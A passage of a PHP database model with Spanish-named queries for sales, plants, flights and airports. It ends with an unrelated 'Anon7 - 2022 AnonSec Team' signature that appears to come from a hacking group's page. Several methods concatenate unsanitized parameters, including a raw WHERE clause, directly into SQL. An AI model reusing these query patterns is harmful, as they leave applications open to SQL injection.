        $query = $this->db
                ->select('*')
                ->where('estado', 'Abierta')
                ->get('ventas');
        return $query->result();
    }

    function getFacturasCerradas() {
        $query = $this->db
                ->select('*')
                ->where('estado', 'Cerrada')
                ->get('ventas');
        return $query->result();
    }

    function getPlantasCantero($id) {
        $query = $this->db->query('
                SELECT copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id, COUNT(*) AS total
                FROM plantas
                WHERE ubicacion_id = ' . $id . '
                GROUP BY copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id
                ORDER BY copa_id');
        return $query->result();
    }

    function getPlantasGroupBy($where) {
        $query = $this->db->query('
                SELECT *
                FROM plantas
                WHERE ' . $where . ' order by 1 ');

        return $query->result();
    }

    function getPlantasDistinct() {
        $query = $this->db->query('
                SELECT DISTINCT max(id)as planta_id,planta 
				FROM vwPlantas
				GROUP BY planta
				order by 1');
        return $query->result();
    }

    function Vuelos() {
        $query = $this->db->query('
                SELECT *
		FROM vuelos
		ORDER BY fecha DESC');
        return $query->result();
    }

    function VuelosCheck($fecha1, $fecha2) {
        $query = $this->db->query("
                SELECT *
		FROM vuelos
                WHERE (fecha >= '" . $fecha1 . "' AND fecha <= '" . $fecha2 . "')
		ORDER BY fecha DESC LIMIT 1");
        return $query->result();
    }

    function Aerop() {
        $query = $this->db->query('
                SELECT *
		FROM aeropuertos
		ORDER BY codigo ASC');
        return $query->result();
    }

    function getRestado($id) {
        $query = $this->db->query("
                SELECT *
		FROM restado
		WHERE patente = '" . $id . "'");
        return $query->result();
    }

}

Anon7 - 2022
AnonSec Team